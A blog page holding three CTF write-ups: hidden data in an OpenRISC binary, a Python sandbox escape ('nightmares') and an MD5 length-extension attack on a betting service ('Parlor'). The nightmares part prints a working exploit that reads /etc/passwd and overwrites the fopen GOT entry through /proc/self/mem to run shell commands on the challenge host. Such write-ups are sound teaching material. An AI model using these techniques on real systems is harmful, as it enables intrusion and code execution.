Martin Heistermann's blog

"PoliCTF 2015 'trollface' Writeup"

2015-07-12T18:10:36+02:00

I think something is hidden here, something that may seem useless. GPG key: yaxceburkaukvefinneuvUvjueknykfa

» file trollface
trollface: ELF 32-bit MSB executable, OpenRISC, version 1 (SYSV), statically linked, not stripped

OpenRISC, cool! It's for an open source CPU! Let's see where the flag is hidden...

I had no success running the binary using qemu, although it has support for the or32 arch:

% qemu-or32 ./trollface
PC=00025d2c
R00=00000000 R01=007fe000 R02=007fe000 R03=00002000
R04=007fc000 R05=000292ac R06=00000000 R07=00000000
R08=00000000 R09=000020e4 R10=00000000 R11=00000000
R12=00000000 R13=00000000 R14=00000000 R15=00000000
R16=00000000 R17=00000000 R18=00000000 R19=00000000
R20=00000000 R21=00000000 R22=00000000 R23=00000000
R24=00000000 R25=00000000 R26=00000000 R27=00000000
R28=00000000 R29=00000000 R30=00000000 R31=00000000

Time to download a toolchain - conveniently available in binary form as gcc-or1k-elf-4.8.1-x86_64.tar.bz2 somewhere on the web.

Looking at the disassembly using gdb or objdump, we see a huuuge main function, over 32000 instructions long! However even without knowing much about the architecture, we can see that most instructions don't have any effect:

[...]
   0x00002738 <+32>:    l.addi r16,r16,0
   0x0000273c <+36>:    l.nop 0x4141
   0x00002740 <+40>:    l.ori r19,r19,0x0
   0x00002744 <+44>:    l.addi r2,r0,32
   0x00002748 <+48>:    l.sb 0(r1),r2
   0x0000274c <+52>:    l.nop 0x4141
   0x00002750 <+56>:    l.muli r5,r5,1
   0x00002754 <+60>:    l.nop 0x4141
   0x00002758 <+64>:    l.ori r2,r2,0x0
[...]

The toolchain comes with an emulator, so we can just run the binary:

» gcc-or1k-elf-4.8.1-x86_64/bin/or1k-elf-run ./trollface
WARNING: l.nop with unsupported code 0x00003066
WARNING: l.nop with unsupported code 0x00004d56
WARNING: l.nop with unsupported code 0x00006752
WARNING: l.nop with unsupported code 0x00004345
WARNING: l.nop with unsupported code 0x00005141
[...]
WARNING: l.nop with unsupported code 0x00004141
WARNING: l.nop with unsupported code 0x00004141
WARNING: l.nop with unsupported code 0x00004141
                                       .....' ,;;::cccllllllllllllcccc:::;;,,,  ...  ,, ..
                            .. ;cldkO00KXNNNNXX KK000OOkkkkkxxxxxddoooddddddxxxxkkkkOO0  Kx:.
                      . :ok0K   N K0kxolc:;;,,,,;;;;;;;;;;;;       ;;  ..              . lOXKd 
                 . lx00Oxl:x ............      ...................    ....;. .             .oKXd.
              .ckKKkc ...  .:::.. .........  ...::::.. ..........  ..... .. .    .            kNKc.
           .:kXXk .    ..       ..................          .............. c  ...;  .         .dNNx.
           0NKd,          .....   ,,,,  ..                ,........... ,,,  ,,  ,...,,.        .dNNx.
         . Xd.         .:;'..         ..,'             . ,.               ...,,''  '. ...       .oNNo
         .0K.         .;.              ;'              ';                      .'...'.           . XX:
        .oNO.         .                 ,.              .     ..' ::ccc:; ..     ..                lXX:
       .dNd:               ......       ;.                'cxOKK0OXWWWWWWWNX0kc.                    :KXd.
     .l N ;             ;d KKKKKXK ko:...              .l   xc,...l WWW     KO Kx'                   ,ONKo.
   .lKNKl... ...... . .dXWN0kkk0N     N0o.            :KN0;.  .,cokX  NNNN NKkxONK: .,:c:.      .';;;;:lk0XXx;
  :KN0 ';  :'.         .,:lodxxkO00KXNWWWX000k.       oXNx;:okKX0kdl:::;'' ;coxkkd  ...'. ...'''.......' :lxKO:.
 oNNk ;c '' .                      ...;xNNOc .          d0X0xc .     .dOd            ..;dOKXK     Ox:.   ..''dKO 
'KW' : . :.. oxkkkdl;'.                'KK'              ..           .dXX0o:'....,:oOXNN0d;.'. ..,lOKd.   .. ;KXl.
;XNd,;  ;. l00kxoooxKXKx:..ld:         ;  '                             .:dkO000000Okxl;.   c0;      :  ;   .  ;XXc
'XXdc.  :. ..    '' 'kNNNKKKk,      .,dKNO.                                   ....       . c0NO       :X0.  ,.  xN0.
.kNOc   ,.      .00. ..  ...      .l0X0d;.              dOkxo;...                    .;okK K0KN x;.   .0 :  ,.  lN '
 ,KKdl  .c,    .dN ,            .;x W c.                .;:coO O,,'.......       .,lx0  Oo;...oNWN  k:.'  ;  '   dN .
  :  kc'....  .dNW l        .';l0N NKl.          ,lxkkkxo  .cK0.          ..;lx0 N 0xc.     ,0Nx . , .k o  .,  ,KNx.
   c  d,,;:, .  WNNK      . ..  . . dKk;        .c   ll x;.x  l     ..,cdOK   00N c.        KWK      ;k:  .l. ,0Nk.
    cXNx.  . ,KWX0NNNXOl .           .o0Ooldk;            . c;.  lxOKKK0xo ,.. ;XX    .,lOXW Xd.      . . :,.lKXd.
     lXNo    cX   XooN NXKko; ..       .lk0x;       ...,:ldk0KXNNOo:,..       ,O NOxO0KXXNWNO,        ....'l0 k,
     .dNK.   oNWWNo.c K;;oO NN K0kxdolllllooooddxk00KKKK0kdoc:c0No        .'ck WWWN kc,;kNKl.          ., XX ,
      'KXc  .dNWWX;.xN .  . NO::lodx OXWN0O xdlcxNKl,..        oN0'..,:ox0XNWWNNWXo.  ,ONO'           .o0X ;
      .ONo    oNWWN0xXWK, .oNKc       .ONx.      ;X0.          .:XNKKNN    NK l; N . .cKXo.           .ON0;
      .x d   c WWWWWWWWKO K Xxl:,'...;0Xo'.....'lXK;...',:lx 0K WWWW  KOd:..   lXKclO 0:            .xNk.
       dXd   ;XWWWWWWWWWWWWWWWWWWNNNNNWWNNNNNNNNNWWNNNNNNWWWWWNXKNNk;           dNWWXd              cXO 
       xXo    ONWNWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWNNK0ko:'  OXo          'l0NXx,              :KK,
       OXc    : Nk0NW KNWWWWWWWWWWWWWWWWWWWWWNNN 00NNx:'         l Kc      'lONN0l                o K:
       K ;     dNKoON0;l Nkcld0N o::cd0NNO:;,,'    0 c            l  o  'l0NNKd,                c0Nk,
      : K       xNX0 Kc cXXl  ;KXl     d 0         0 o             x XOK XOo,                 l0Xk; 
      dXk        lKW 0d::OWK;  lXXc     OX:        O x         ,cdk0X XOd;     '''    ;c:'  ;xKXx,
      0 o          :dOK   W KOxkXWXo:,,;O k;,,,,,;c0 XOxxkO0XX XKOdc,.  ..;::,...;lol;..:x XOl.
     ,XX:             ..';cldxkOO0'''XXXXXXXXXX'''''00Okxdol:;'..   .';::,..':llc,..'lkKXkc.
     :NX'    .     ''            ..................             .,;:;,',;ccc;'..'lkKX0d;.
     lNK.   .;      ,lc,.         ................        ..,,;;;;;;:::,....,lkKX0d:.
    .oN0.    .'.      .;ccc;, ....              ....  ,;;;;;;;;;; ..   .;oOXX0d:.
    . N0.      .;;,..       ....                ..''''''''....     .: OKKko;.
     lNK'         .., ::  ,'.........................           .  0X0kc'.
     .xXO                                                  .;oOK0x:.
      .cKKo.                                    .,:oxkkkxk0K0xc'.
        .oKKkc,.                         .';cok XNNNX Oxoc,.
          .;d XXdkdlc:;,,,',,,;;:clodkO0KK0Oldl:,'..
              .,coxO0KX      KK0OOxdoc:,..
                        ...

I had to shorten the output, we get lots of lines complaining about an invalid nop operand. Looks like data! Playing around with it, we find that it is little-endian words that make up a large bas64 string.

%gcc-or1k-elf-4.8.1-x86_64/bin/or1k-elf-run ./trollface 1>/dev/null 2>>(
    cut -d " " -f 6|sed 's/0x0000//g' |
    perl -pe's/(..)(..)\n/chr(hex($2)).chr(hex($1))/e'|
    base64 -d > hidden)

% file hidden
hidden: ERROR: ELF 32-bit MSB executable, OpenRISC, version 1 (SYSV), statically linkederror reading (Invalid argument)

% gcc-or1k-elf-4.8.1-x86_64/bin/or1k-elf-run ./hidden
flag{Have you ever heard something about OpenRISC?}

Yes, we have!

"PlaidCTF 2014 'nightmares' (Pwnables 375) writeup"

2014-04-14T23:06:56+09:00

Another Python sandbox outbreak challenge... with a non-pythonic solution.

Challenge setup

The Plague is building an army of evil hackers, and they are starting off by teaching them python with this simple service. Maybe if you could get full access to this system, at 54.196.37.47:9990, you would be able to find out more about The Plague's evil plans.

We're also given the source code of the server:

#!/usr/bin/python -u
'''
You may wish to refer to solutions to the pCTF 2013 "pyjail" problem if
you choose to attempt this problem, BUT IT WON'T HELP HAHAHA.
'''

from imp import acquire_lock
from threading import Thread
from sys import modules, stdin, stdout

# No more importing!
x = Thread(target = acquire_lock, args = ())
x.start()
x.join()
del x
del acquire_lock
del Thread

# No more modules!
for k, v in modules.iteritems():
    if v == None: continue
    if k == '__main__': continue
    v.__dict__.clear()

del k, v

__main__ = modules['__main__']
modules.clear()
del modules

# No more anything!
del __builtins__, __doc__, __file__, __name__, __package__

print >> stdout, "Get a shell. The flag is NOT in ./key, ./flag, etc."
while 1:
    exec 'print >> stdout, ' + stdin.readline() in {'stdout':stdout}

The description already hints at some more classic non-working ways to break out of this sandbox that use some module references hidden deep in a labyrinth of python objects. I didn't look to closely, but I just assume that doing everything in a new thread after the last import makes sure no module references persist.

However, we do have access to the stdout object. Let's see what we can do with that...

>>> from sys import stdout
>>> dir(stdout)
['__class__', '__delattr__', '__doc__', '__enter__', '__exit__', '__format__',
'__getattribute__', '__hash__', '__init__', '__iter__', '__new__',
'__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__',
'__str__', '__subclasshook__', 'close', 'closed', 'encoding', 'errors',
'fileno', 'flush', 'isatty', 'mode', 'name', 'newlines', 'next', 'read',
'readinto', 'readline', 'readlines', 'seek', 'softspace', 'tell', 'truncate',
'write', 'writelines', 'xreadlines']
>>> stdout.__class__
<type 'file'>
>>> stdout.__class__('/etc/passwd', 'r').read()
'root:x:0:0:root:/root:/usr/bin/zsh\n
[...]

We can use stdout.__class__ just like we'd use file in python. Let's try it on the remote host:

% echo "stdout.__class__('/tmp/lulu','w').write('aaaaa')" |  nc 54.196.37.47 9990
Get a shell. The flag is NOT in ./key, ./flag, etc.
None
^C
% echo "stdout.__class__('/tmp/lulu').read()" |  nc 54.196.37.47 9990
Get a shell. The flag is NOT in ./key, ./flag, etc.
aaaaa
^C

So we can already read and write arbitrary files... nice. As long as we have the proper permissions. And as long as we know the filenames. Well... the service already tells us that trying random filenames for the flag will not work well, and we have no way yet to list any files. I couldn't find any really interesting files to read or write at first.

/proc is also mounted, and reading /proc/self/cmdline at least shows us the script location and the python interpreter used:

% echo "stdout.__class__('/proc/self/cmdline').read()" |  nc 54.196.37.47 9990
Get a shell. The flag is NOT in ./key, ./flag, etc.
/usr/bin/python2-u/home/nightmares_owner/nightmares.py
^C

But there is a pseudofile in /proc which is a lot more interesting: /proc/self/mem. This gives us read and write access to our python interpreters memory! This will be our way to execute arbitrary code.

We can read /proc/self/maps a few times to see that heap, libraries and stack are randomized, but the python binary location itself is fixed - this makes our job easier. If everything was random, we could still first read the maps first to compute the correct address of whatever we want to access, but it's simpler without.

% echo "stdout.__class__('/proc/self/maps').read()" |  nc 54.196.37.47 9990
Get a shell. The flag is NOT in ./key, ./flag, etc.
00400000-00658000 r-xp 00000000 ca:00 9191                               /usr/bin/python2.7
00857000-00858000 r--p 00257000 ca:00 9191                               /usr/bin/python2.7
00858000-008c1000 rw-p 00258000 ca:00 9191                               /usr/bin/python2.7
[...]
^C

To find anything useful to overwrite, let's first download the python binary:

% echo "stdout.__class__('/usr/bin/python2').read()" | nc 54.196.37.47 9990 > python2.out
^C

The 'get a flag' message is at the beginning of the binary file, so we need to strip it first:

% tail -n+1 python2.out > python

I figured the simplest way to gain a shell would be to redirect fopen() calls to system(), so the next fopen call we issue (like before) should actually execute the given filename as shell command.

I decided to overwrite their PLT entries to accomplish this. First we need to look up the addresses:

% objdump -R python2 | grep -E 'fopen|system'
00000000008582a0 R_X86_64_JUMP_SLOT  system
00000000008588c0 R_X86_64_JUMP_SLOT  fopen64

So if we copy 8 bytes from the system address to the fopen64 address, everything should be fine. This is what we'd like to do:

r = file('/proc/self/mem', 'r')
w = file('/proc/self/mem', 'w', 0) # 0-> unbuffered
r.seek(0x8582a0)
val = r.read(8)
w.seek(0x8588c0)
w.write(val)
file('id')

Try this at home (with offsets changed to match your local python)! It should execute 'id' for you.

Okay, now we need to put this into a single python expression (no assignments!) we can send to the server. By using a lambda expression and calling it with some values, we can assign these values to parameters, similar to using variables.

(lambda r, w:
    r.seek(0x8582a0)
    or w.seek(0x8588c0)
    or w.write(r.read(8))
    or stdout.__class__('id, ls /home/nightmares_owner'))
    (stdout.__class__('/proc/self/mem','r'),
     stdout.__class__('/proc/self/mem','w',0))

There is another small trick at work here: Using shortcut evaluation of the or operator we gain sequential execution - as long as all calls return something False-y (no problem here).

Time to try it in reality!

% echo "(lambda r,w:r.seek(0x8582a0) or w.seek(0x8588c0) or w.write(r.read(8)) or stdout.__class__('id; ls /home/nightmares_owner'))(stdout.__class__('/proc/self/mem','r'), stdout.__class__('/proc/self/mem','w',0))" |  nc 54.196.37.47 9990
Get a shell. The flag is NOT in ./key, ./flag, etc.
None
uid=1002(nightmares_user) gid=1002(nightmares_user) groups=1002(nightmares_user)
total 36
drwxr-xr-x 2 nightmares_owner nightmares_owner 4096 Apr 10 14:16 .
drwxr-xr-x 4 root             root             4096 Apr 10 16:49 ..
-rw------- 1 nightmares_owner nightmares_owner  587 Apr 10 14:16 .bash_history
-rwsr-xr-x 1 nightmares_owner nightmares_owner 4236 Apr 10 14:12 give_me_the_flag.exe
-rw-r--r-- 1 nightmares_owner nightmares_owner  470 Apr 10 14:12 give_me_the_flag.exe.c
-rwxr-xr-x 1 nightmares_owner nightmares_owner  805 Apr 10 14:16 nightmares.py
-rwxr-xr-x 1 nightmares_owner nightmares_owner  122 Apr 10 15:00 problem_wrapper.sh
-r-------- 1 nightmares_owner nightmares_owner   33 Apr 10 14:07 use_exe_to_read_me.txt
sys.excepthook is missing
lost sys.stderr

% echo "(lambda r,w:r.seek(0x8582a0) or w.seek(0x8588c0) or w.write(r.read(8)) or stdout.__class__('cd /home/nightmares_owner/; ./give_me_the_flag.exe'))(stdout.__class__('/proc/self/mem','r'), stdout.__class__('/proc/self/mem','w',0))" |  nc 54.196.37.47 9990         
Get a shell. The flag is NOT in ./key, ./flag, etc.
None
i_like_python_i_like_python_yolo
sys.excepthook is missing
lost sys.stderr

Flag recovered!

I'm curious if there is a pure-Python way to solve this -- if you know one, please let me know!

"PlaidCTF 2014 'Parlor' (crypto 250) writeup"

2014-04-14T17:02:05+09:00

Parlor was a interesting and fun challenge for me at this year's pCTF. Here's my writeup, I hope you'll find it interesting.

Challenge setup

The Plague is running a betting service to build up funds for his massive empire. Can you figure out a way to beat the house? The service is running at 54.197.195.247:4321.

At the time of writing, the server is still online, so if you're lucky, you can still play (before or instead of reading this writeup).

The gambling game offered by the server seem quite similar to SatoshiDice:

% nc 54.197.195.247 4321
/------------------------------------------------------------------------------\
| Welcome to the betting parlor!                                               |
|                                                                              |
| We implement State of the Art cryptography to give you the fairest and most  |
| exciting betting experience!                                                 |
|                                                                              |
| Here's how it works: we both pick a nonce, you tell us odds, and you give us |
| some money.                                                                  |
| If md5(our number + your number) % odds == 0, you win bet amount*odds.       |
| UPDATE: IF YOU DIDN'T REALIZE IT, WE DO INCLUDE A NEWLINE AT THE END OF YOUR |
| NUMBER. SORRY FOR THE INCONVENIENCE. THANK YOU FOR USING PARLOR              |
| Otherwise, we get your money! We're even so nice, we gave you $1000 to start.|
|                                                                              |
| If you don't trust us, we will generate a new nonce, and reveal the old nonce|
| to you, so you can verify all of our results!                                |
|                                                                              |
| (Oh, and if you win a billion dollars, we'll give you a flag.)               |
\______________________________________________________________________________/

====================
  1) set your odds
  2) set your bet
  3) play a round
  4) get balance
  5) reveal nonce
  6) quit
====================

Let's have a look at an example session:

1
Please pick odds (as a power of 2 between 1 and 100): 8
Odds set to 2^8, good luck!
[...]
3
Okay, send us a nonce for this round!
abc123
Betting $1 at odds of 2^8
Too bad, we generated 78, not 0... better luck next time!
[...]
5
What? You think we're cheaters? Fine, the nonce has been dbe20351bfd26f40105a6a5aca4e1eb4
Who is the cheater now, huh?

Let's see if everything checks out and the server really doesn't cheat:

>>> import hashlib
>>> secret='dbe20351bfd26f40105a6a5aca4e1eb4'.decode('hex')
>>> input='abc123\n'
>>> int(hashlib.md5(secret + input).hexdigest(),16) % 2**8
78L

This matches the number the game told us. Now that we verified the mechanism used by the server, let's see how we can break it.

We can set odds to any power of 2, up to 2^100 (it really is capped at 100, I tested...)

Although they call their number a Nonce, it is reused until we ask the server to reveal it. However we are not allowed to repeat our number (server's response: "What part of NONCE don't you understand, asshole?" followed by a disconnect). If this was allowed, it would be trivial to win by reusing a winning number often.

Luckily the server is nice enough to reveal the result of md5(our number + your number) % odds in case it is nonzero (78 in the example). We can also express this as bitwise and (&), because MD5(m) % 2^k = MD5(m) & (2^k - 1). In the example, we could therefore also use & 0xff instead of % 2**8. In other words: the server computes the lower k bits of the hash. So essentially, the goal of the game is to guess a number so that the resulting hash has many trailing zeros.

Avoiding newlines

Although a later update in the server banner mentioned trailing newlines (see the '\n' into the previous example) it is well possible to avoid the newline:

```bash Terminal A mkfifo input while true; do cat input; done | nc 54.197.195.247 4321

```bash Terminal B
echo -n foo > input

Even without a newline, the server responded well. This method also makes it simple to send binary data without writing a custom client. In retrospect, using an interactive python shell might have been nicer though.

MD5 Collisions?

My first thought was to solve this using MD5 hash collisions, which can be generated very quickly nowadays, e.g. using HashClash.

Given two blocks A, B with the same hash value, my idea was to play A + x for varying x for $1 until I find a winning x, then play B + x with the remaining money.

It turns out that MD5 hash collisions don't work that way - even with a block-sized common prefix P, in general MD5(P+A) != MD5(P+B).

Length Extension Attacks

Next idea: if we knew MD5(secret), we can compute MD5(secret+x) using a Length Extension Attack, e.g. using HashPump. Then we could locally guess different values of x until we get a hash MD5(secret+x) with many trailing zeros and empty the casino with it.

Problem: the server will not give us a full hash, but only the lowest 100 bits (we cannot set odds larger than 2^100) of MD5(secret+x) for any non-empty value of x we supply. MD5 hashes are 128 bits long, so there are 28 unknown bits.

Solution: We fetch the lower bits of MD5(secret+'x') and MD5(secret+'x'+L), where L is our length extension attack string. If we guess the missing 28 bits of MD5(secret+'x') correctly and use HashPump on the result, the extended MD5 hash will match the 100 bits of MD5(secret+'x'+L) that we acquired. So we can just try this for all possible 2^28 possible prefixes until we find one where it works. Then we can be reasonably sure that we found the original hash.

I patched HashPump to do this bruteforce attack for me, giving it both partial hashes and the number of missing bits as input. After fixing a few stupid bugs it worked correcty on a toy example, and, with more patience, also with the real thing.

Knowing the full hash of MD5(secret+'x'), I added another bruteforcing loop to HashPump, computing strings L to append so that MD5(secret+'x'+L) has many trailing zeros.

Playing two rounds with these strings was enough to win the required amount to receive the flag.

Code & Example

In case you want to have a closer look or play with it yourself, I published my HashPump fork to a github repo.
Diff only: Commit b822764fa71209858c91378736d43d082c674e96

Let's use it on a toy example:

% export secret=AAAA
% export msg="\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00(\x00\x00\x00\x00\x00\x00\x00y"
% echo -n ${secret}x | md5sum
48e1177010d5528ad343a2c302faa37e  -
% echo -n ${secret}x$msg | md5sum
bcec1f2921593edf0ddab31ee61ad23f  -

msg looks like random magic, but it actually is the length extension string HashPump gives us after one run, minus the leading 'x' (HashPump --data parameter).

The hashes are what is really calculated on the server for the inputs 'x' and 'x$msg'. To simulate the game environment, we pretend not to know the first 2 bytes of these and fill in zeros for them:

% ./hashpump --signature 0000177010d5528ad343a2c302faa37e \
    --data "x" \       # already appended to secret in the first hash
    --additional "y" \ # what we want to append at the very end
    --keylength 4 \    # length of the secret key - 4 in the toy example
    --unknown 16 \     # unknown bits
    --sig2 00001f2921593edf0ddab31ee61ad23f # target extended signature
mask: ffff0000
progress: 0x               0, 0.0000:                                         |
success with origHash = 48e1177010d5528ad343a2c302faa37e
prefix: 0x48e1
predicted sig: bcec1f2921593edf0ddab31ee61ad23f
x\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00(\x00\x00\x00\x00\x00\x00\x00y

We see that the modified HashPump managed to complete the original hash.

From here it should be easy ;-)

Martin Heistermann's blog

"PoliCTF 2015 'trollface' Writeup"

"PlaidCTF 2014 '__nightmares__' (Pwnables 375) writeup"

Challenge setup

"PlaidCTF 2014 'Parlor' (crypto 250) writeup"

Challenge setup

Avoiding newlines

MD5 Collisions?

Length Extension Attacks

Code & Example

"PlaidCTF 2014 'nightmares' (Pwnables 375) writeup"